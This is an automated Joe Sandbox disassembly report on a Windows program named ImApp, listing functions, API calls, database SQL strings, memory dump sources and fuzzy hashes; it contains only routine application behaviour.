Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: DomainName$IsApproved$UPDATE Domains SET IsApproved=:IsApproved WHERE DomainName=:DomainName COLLATE NOCASE
API String ID: 0-2734791695
Opcode ID: c71a871852f2e63e69198e89f99ca2e0da3c3f62699402d5ed0f6220884b202f
Instruction ID: a999c0e42fe21813446b9962801b03206c98d82859596be13d8b702a0c0eb575
Opcode Fuzzy Hash: c71a871852f2e63e69198e89f99ca2e0da3c3f62699402d5ed0f6220884b202f
Instruction Fuzzy Hash: A1E04FE2BE03603AF98412308C52AAE050E8B66E00E10451DBA17ADB80EAC289C62755

Function 020CDBB0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 26COMMON

Download Yara Rule

APIs

#9.IMDBU(DELETE FROM PotentialGroupsMembers WHERE MemberID=:MemberID AND MemberType=:MemberType,MemberID,?,?,020D989D,?,00000001), ref: 020CDBC5
#9.IMDBU(DELETE FROM PotentialGroupsMembers WHERE MemberID=:MemberID AND MemberType=:MemberType,MemberType,?,DELETE FROM PotentialGroupsMembers WHERE MemberID=:MemberID AND MemberType=:MemberType,MemberID,?,?,020D989D,?,00000001), ref: 020CDBDE
#8.IMDBU(DELETE FROM PotentialGroupsMembers WHERE MemberID=:MemberID AND MemberType=:MemberType,00000001,00000000,DELETE FROM PotentialGroupsMembers WHERE MemberID=:MemberID AND MemberType=:MemberType,MemberType,?,DELETE FROM PotentialGroupsMembers WHERE MemberID=:MemberID AND MemberType=:MemberType,MemberID,?,?,020D989D,?,00000001), ref: 020CDBF2

Strings

DELETE FROM PotentialGroupsMembers WHERE MemberID=:MemberID AND MemberType=:MemberType, xrefs: 020CDBBE, 020CDBD7, 020CDBEB
MemberID, xrefs: 020CDBB6
MemberType, xrefs: 020CDBD2

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: DELETE FROM PotentialGroupsMembers WHERE MemberID=:MemberID AND MemberType=:MemberType$MemberID$MemberType
API String ID: 0-2115703472
Opcode ID: af2fb72770bb9f5359584b575a6235aa48de3512f5250645a38a54b2cb00edf5
Instruction ID: 516c54ffb2c805ddca99c60e39f197cfdd0b653562bc780396ae21e8e9c33e76
Opcode Fuzzy Hash: af2fb72770bb9f5359584b575a6235aa48de3512f5250645a38a54b2cb00edf5
Instruction Fuzzy Hash: 8EE08661BD07917BF9546274CC92FEE13564B54A04F548054FA07AEB80EF90AC8067A0

Function 020CC1D0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 25COMMON

Download Yara Rule

APIs

#10.IMDBU(UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,020CC050,?,?,?,00000000,020CE5B5,?,00000000,00000000,?,?), ref: 020CC1E3
#10.IMDBU(UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE,DisplayName,?,UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,020CC050,?,?,?,00000000,020CE5B5,?,00000000,00000000), ref: 020CC1FD
#8.IMDBU(UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE,00000001,00000000,UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE,DisplayName,?,UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,020CC050,?,?,?,00000000,020CE5B5), ref: 020CC211

Strings

DomainName, xrefs: 020CC1D4
UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE, xrefs: 020CC1DC, 020CC1F6, 020CC20A
DisplayName, xrefs: 020CC1F1

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: DisplayName$DomainName$UPDATE Domains SET DisplayName=:DisplayName WHERE DomainName=:DomainName COLLATE NOCASE
API String ID: 0-1983583561
Opcode ID: 792ad462ec3491e1c8276a6607e262b87e449a0af492e013225015a43dc588d5
Instruction ID: 7aa3b68f7e2fddfb2c77e910faac1b5f2167597c22c7d2a4d0ec05f7e8c0d1c8
Opcode Fuzzy Hash: 792ad462ec3491e1c8276a6607e262b87e449a0af492e013225015a43dc588d5
Instruction Fuzzy Hash: 25E086B1FD07102AF5541124CC42FEE020EC789E40F51011DBB176EF80EAC19C8237D5

Function 100017D0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

#675.IMUTILSU(Flags,RefreshDBFileCache,?,00000000), ref: 100017F3
#1428.IMUTILSU(Flags,RefreshDBFileCache,?,00000000), ref: 100017FA
#2223.IMUTILSU(00000001,Flags,RefreshDBFileCache,?,00000000), ref: 1000180A
#2222.IMUTILSU(00000001,Flags,RefreshDBFileCache,?,00000000), ref: 10001811

Strings

Flags, xrefs: 100017E6
RefreshDBFileCache, xrefs: 100017E1

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #1428#2222#2223#675
String ID: Flags$RefreshDBFileCache
API String ID: 1992106153-4253428957
Opcode ID: 27ae6f1299a277ee324cf16486f764d781ec90d33d215cd3aca7f70b2db0ef44
Instruction ID: fcddd74855d10052f709a4276e30c08b5611df8e129b6cfbdff1e52afc89ded1
Opcode Fuzzy Hash: 27ae6f1299a277ee324cf16486f764d781ec90d33d215cd3aca7f70b2db0ef44
Instruction Fuzzy Hash: 38E0DF36950320ABF614DB60C805B9B73DCEB406D1F00C82EF28657089EBB0AD008392

Function 00418D50 Relevance: 10.5, APIs: 7, Instructions: 20COMMON

Download Yara Rule

APIs

#675.IMUTILSU ref: 00418D53
#828.IMUTILSU ref: 00418D5A
#994.IMLOOKU ref: 00418D5F
#754.IMLOOKU ref: 00418D66
#5.IMABU ref: 00418D6B
#16.IMABU ref: 00418D72
#2.IMABU(00000000,00000000), ref: 00418D7B

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #675#754#828#994
String ID:
API String ID: 4181635621-0
Opcode ID: 66525954fce91ea34f4ff09e4bbc18c795c2d59463ac4d4150a85367c0663209
Instruction ID: f2ba67200b77fde10c26984ba07e9f3dadf6629ad6e731b5ca9d79416a472ed3
Opcode Fuzzy Hash: 66525954fce91ea34f4ff09e4bbc18c795c2d59463ac4d4150a85367c0663209
Instruction Fuzzy Hash: 09D067B1B5521452C91D32B228177ED00458F85709F50042FB5566B2C3EE5D498143DE

Function 00403730 Relevance: 9.3, APIs: 6, Instructions: 263COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00403754
#314.MFC80U(00000000,FC8A6036), ref: 0040375E
#6751.MFC80U(00000000,?), ref: 00403A26

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#6751
String ID:
API String ID: 1151597793-0
Opcode ID: 47302ed6306373fec1000e4fe92355ed1603d2c6d13804dfabda898cc15447b3
Instruction ID: 3af20957c9220cb5e9aaa60b17193cdaba970a084df9070d74bb8cbac45b17d7
Opcode Fuzzy Hash: 47302ed6306373fec1000e4fe92355ed1603d2c6d13804dfabda898cc15447b3
Instruction Fuzzy Hash: 0F918F75208600AFC200DB28CD81E5BB7E8AFC9755F14862DB495E73E0D739ED41CBAA

Function 020D4710 Relevance: 9.2, APIs: 6, Instructions: 191COMMON

Download Yara Rule

APIs

Part of subcall function 020D5540: _invalid_parameter_noinfo.MSVCR80(265105E4,?,?,?,020D4754,?,265105E4), ref: 020D55AE
Part of subcall function 020D5540: _invalid_parameter_noinfo.MSVCR80(265105E4), ref: 020D55C6

#764.MFC80U(?,?,265105E4,?), ref: 020D47CF
#764.MFC80U(?,?,265105E4,?), ref: 020D4807
_invalid_parameter_noinfo.MSVCR80(?), ref: 020D4895
_invalid_parameter_noinfo.MSVCR80(?), ref: 020D48AB
_invalid_parameter_noinfo.MSVCR80(?,265105E4), ref: 020D48D4
_invalid_parameter_noinfo.MSVCR80(?,265105E4), ref: 020D48EE

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo$#764
String ID:
API String ID: 971027209-0
Opcode ID: c474890362408326beb32cac94c34fb8b8e3a7a5312f741e039e87d1be252001
Instruction ID: 1b0b165bc8f4cc3d66e9d3af31a1c3ab6e05093fcb686cd467cac7ab71dfbe05
Opcode Fuzzy Hash: c474890362408326beb32cac94c34fb8b8e3a7a5312f741e039e87d1be252001
Instruction Fuzzy Hash: D3619DB2A483818FC715DF24C884A6FB7EAFBC8754F140A2DF99593740D731E9059BA2

Function 100088A0 Relevance: 9.2, APIs: 6, Instructions: 181COMMON

Download Yara Rule

APIs

#1176.MFC80U ref: 100088E3
#1176.MFC80U(?,?,?), ref: 1000893E
#1176.MFC80U ref: 1000899A
#1176.MFC80U(?,?,?), ref: 100089F5
#776.MFC80U(80004005,?,?,?,?), ref: 10008A3A
#1176.MFC80U(?,?,?,?), ref: 10008A46

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #1176$#776
String ID:
API String ID: 1886742295-0
Opcode ID: 2387c78bae621592345bcbf63107879d80222558955ca5d8dd731ca469a554f4
Instruction ID: 591fdd668811a6721e756edc4c8d6da63bc52f8d10e0c3b3e70357a3ecc5875b
Opcode Fuzzy Hash: 2387c78bae621592345bcbf63107879d80222558955ca5d8dd731ca469a554f4
Instruction Fuzzy Hash: 395160356006119FE704EF18C580966B3E1FF85384B2AC59EE8C99B31ACB31ED47CB92

Function 0040FDD0 Relevance: 9.1, APIs: 6, Instructions: 137stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,FC8A6036), ref: 0040FE18
#265.MFC80U(00000000), ref: 0040FE3E
lstrlenW.KERNEL32(?), ref: 0040FE7F
#265.MFC80U(00000000), ref: 0040FEA6
#764.MFC80U(00000000), ref: 0040FF42
#764.MFC80U(?,00000000), ref: 0040FF57

Part of subcall function 00409E80: memcpy_s.MSVCR80 ref: 00409E94

Part of subcall function 0040EE90: _recalloc.MSVCR80(?,?,00000004,00000000,00000002,0040FF1E,?,?), ref: 0040EEA6

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #265#764lstrlen$_recallocmemcpy_s
String ID:
API String ID: 1593849496-0
Opcode ID: d702a9ca86f919910c9471b7c1f1bf12375e56e8b902953a092030b9b3eda710
Instruction ID: daf7c66689934e3eaa85b0982ffe346671b8818eb2b66e539c0ca17bacc0083a
Opcode Fuzzy Hash: d702a9ca86f919910c9471b7c1f1bf12375e56e8b902953a092030b9b3eda710
Instruction Fuzzy Hash: 92414EB2D012099FDB14CFA9C985AEFFBF8EB48314F10813FE515A3281D7795A058B94

Function 0040AC70 Relevance: 9.1, APIs: 6, Instructions: 114COMMON

Download Yara Rule

APIs

CharNextW.USER32 ref: 0040ACA7
CharNextW.USER32(00000000), ref: 0040ACBA
CharNextW.USER32(00000000), ref: 0040ACCB
CharNextW.USER32 ref: 0040ACD2
CharNextW.USER32 ref: 0040AD21

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: 3986c2a986346b77399bf4e7f8dc6ac4c02c1385118f7579e2c934833c77629d
Instruction ID: 814e635e47d7bb1ee6105f7df7a7417a4e526c9fbe508eddf15664dd6dd20328
Opcode Fuzzy Hash: 3986c2a986346b77399bf4e7f8dc6ac4c02c1385118f7579e2c934833c77629d
Instruction Fuzzy Hash: 3831D4726103218BDB219F28D88062BB3F6EFA2311F558576D440AB7D4E778DCA0C79B

Function 020E7360 Relevance: 9.1, APIs: 6, Instructions: 111COMMON

Download Yara Rule

APIs

ReleaseCapture.USER32 ref: 020E7397
#5829.MFC80U ref: 020E73A0
SftTree_GetCurSel.SFTTREE_IX86_U_60(?), ref: 020E73C2
#38.SFTTREE_IX86_U_60 ref: 020E73FA
#578.MFC80U ref: 020E744E
#578.MFC80U ref: 020E749B

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#5829CaptureReleaseTree_
String ID:
API String ID: 1974425194-0
Opcode ID: ea406be987e04e281fcae71458daaa76e4b16a736591096c6bfa763af0637a02
Instruction ID: 99aa7b937140b25b18be00c7ccf1a1dfe2a49e77c059a31457f0880346d7c853
Opcode Fuzzy Hash: ea406be987e04e281fcae71458daaa76e4b16a736591096c6bfa763af0637a02
Instruction Fuzzy Hash: 3741A4716487408FD714DF28C484B9BFBE4FF88714F140A1DE596872A1C779E948CB92

Function 0040E860 Relevance: 9.1, APIs: 6, Instructions: 110registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040BD00: GetModuleFileNameW.KERNEL32(?,?,00000104), ref: 0040BD8D

SysStringLen.OLEAUT32(?), ref: 0040E912
wcsncpy_s.MSVCR80 ref: 0040E928
RegisterTypeLib.OLEAUT32 ref: 0040E958
RegisterTypeLib.OLEAUT32(FC8A6036,?,00000000), ref: 0040E969
SysFreeString.OLEAUT32(?), ref: 0040E97E
SysFreeString.OLEAUT32(?), ref: 0040E9A3

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: String$FreeRegisterType$FileModuleNamewcsncpy_s
String ID:
API String ID: 487211787-0
Opcode ID: 1915412a0d77f8f871aeb45b3295750793803c69408a094fb54a78e8559494bd
Instruction ID: ca12083acf31a3f6c45cd8190573370f0d97af4f28e1d8ae1275e07d6cd98d39
Opcode Fuzzy Hash: 1915412a0d77f8f871aeb45b3295750793803c69408a094fb54a78e8559494bd
Instruction Fuzzy Hash: 9E4152B1209341AFD320DF69D988E5BB7E8FBC8754F404A2DF48497290D778A905CBA6

Function 020DDA70 Relevance: 9.1, APIs: 6, Instructions: 109memorycomCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(020F1D44,00000000,00000017,020F9EB4,265105E4), ref: 020DDABA
SysFreeString.OLEAUT32(00000000), ref: 020DDB21
#776.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,020F02BA,000000FF), ref: 020DDB2A
SysFreeString.OLEAUT32(?), ref: 020DDB3A
SysAllocString.OLEAUT32(00000000), ref: 020DDB64
SysAllocString.OLEAUT32(?), ref: 020DDB7D

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: String$AllocFree$#776CreateInstance
String ID:
API String ID: 3192176537-0
Opcode ID: 89124e00ea17f078879dd594a40b725b0987d7f15d9c5ab2fe76a6efc7c66fa4
Instruction ID: 9903bdf2cb2c66f0c465b4906eb6f8f1245d5fadb532e6a526990cca2ed2597b
Opcode Fuzzy Hash: 89124e00ea17f078879dd594a40b725b0987d7f15d9c5ab2fe76a6efc7c66fa4
Instruction Fuzzy Hash: 6831AB72648341DFD311DF19C840B5BFBE9ABC8B24F140A5EF599D7280D7B5D9088BA2

Function 0041A140 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

#832.IMUTILSU ref: 0041A143
#2405.IMUTILSU ref: 0041A14E
#810.IMUTILSU(0000001C,00000000), ref: 0041A162
#1323.IMUTILSU(0000001C,00000000), ref: 0041A169
#810.IMUTILSU(0000008E,00000000,0000001C,00000000), ref: 0041A1A9
#1323.IMUTILSU(0000008E,00000000,0000001C,00000000), ref: 0041A1B0

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1323#810$#2405#832
String ID:
API String ID: 3859290776-0
Opcode ID: abc501b4b493c7f5b268340d512d034bde37f2db170e2b6abb8fdbf0fd7771c0
Instruction ID: bdfd1150d9683a89b4c2a91890847a58ba76e4a9d142f3b5cfee8db46f4ffb10
Opcode Fuzzy Hash: abc501b4b493c7f5b268340d512d034bde37f2db170e2b6abb8fdbf0fd7771c0
Instruction Fuzzy Hash: 3311CD7232512022E654B23AA901BEF9286ABE1724F04482FF041CA3D1CE5D9DD3839F

Function 020D5440 Relevance: 9.1, APIs: 6, Instructions: 81COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,?,020EDE0C,000000FF), ref: 020D548D
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,?,020EDE0C,000000FF), ref: 020D549A
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,?,020EDE0C,000000FF), ref: 020D54A7
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,?,020EDE0C,000000FF), ref: 020D54B4
_invalid_parameter_noinfo.MSVCR80(00000000,?,?,?,?,?,?,?,?,020EDE0C,000000FF), ref: 020D54D2
_invalid_parameter_noinfo.MSVCR80(00000000,?,?,?,?,?,?,?,?,020EDE0C,000000FF), ref: 020D54DF

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1e256d382eee99912f367cfed8f405bf316f3043a5a8fe06a9d455e8c1663567
Instruction ID: e6df3b247ae179d0c7d26f1688ce720e938a68acfd8a9664385ce2335aa9c21f
Opcode Fuzzy Hash: 1e256d382eee99912f367cfed8f405bf316f3043a5a8fe06a9d455e8c1663567
Instruction Fuzzy Hash: 903165711057018FC321DF15C880B5BBBE9EF84728F40891DE89A97651C778F888CFA2

Function 020DC6A0 Relevance: 9.1, APIs: 6, Instructions: 80COMMON

Download Yara Rule

APIs

#6735.MFC80U(?,265105E4), ref: 020DC6D1

Part of subcall function 020DCA50: #6160.MFC80U(020F9BE8,265105E4,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA78
Part of subcall function 020DCA50: #5524.MFC80U(00000040,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA82
Part of subcall function 020DCA50: #4100.MFC80U(?,-00000001,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCA97
Part of subcall function 020DCA50: #774.MFC80U(?,?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAAC
Part of subcall function 020DCA50: #6167.MFC80U(?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAB4
Part of subcall function 020DCA50: #578.MFC80U(?,00000000,020EB7A9,000000FF,020DB865,?,?,?,?,020ECAC9,000000FF), ref: 020DCAC6

Part of subcall function 020CC650: #10.IMDBU(SELECT 1 FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,?,020CBFE7,?,?,00000000,020CE5B5,?,00000000,00000000,?,?), ref: 020CC685
Part of subcall function 020CC650: #28.IMDBU(SELECT 1 FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,?,00000001,SELECT 1 FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,?,020CBFE7,?,?,00000000,020CE5B5,?,00000000,00000000), ref: 020CC6A4

#280.MFC80U(?,?,?), ref: 020DC701

Part of subcall function 020DC340: #280.MFC80U(?,265105E4), ref: 020DC391
Part of subcall function 020DC340: #578.MFC80U ref: 020DC680

#774.MFC80U(00000000,?,?,?,?,?,?,?,020EDA8B,000000FF), ref: 020DC723
#578.MFC80U(?,?,?,?,?,?,?,020EDA8B,000000FF), ref: 020DC731
#578.MFC80U(?,?,?,?,?,?,?,020EDA8B,000000FF), ref: 020DC74A
#578.MFC80U(?,?,?,?,?,?,?,?,?,020EDA8B,000000FF), ref: 020DC783

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#280#774$#4100#5524#6160#6167#6735
String ID:
API String ID: 2915959495-0
Opcode ID: d8c1bad87df196f876d5f46c25691e12e1ae647da47170a3724ce5815f16c5f4
Instruction ID: 5fbee8b9dbe7596a5d5ccf70667cd8027025f4084f4f3ed404c1bb0609be3ccc
Opcode Fuzzy Hash: d8c1bad87df196f876d5f46c25691e12e1ae647da47170a3724ce5815f16c5f4
Instruction Fuzzy Hash: AD2191B6548340DFC304DF18D444A9BFBE4FBD9764F004A1EF59A93290C738A509CBA6

Function 020C4270 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4,?,?,?,00000000,020C3898,?,00000000,00000000,00000000,00000000), ref: 020C42D6
#280.MFC80U(00000000), ref: 020C42EC
#578.MFC80U(?,?,?,265105E4), ref: 020C4317
#578.MFC80U ref: 020C4329
_invalid_parameter_noinfo.MSVCR80 ref: 020C4339
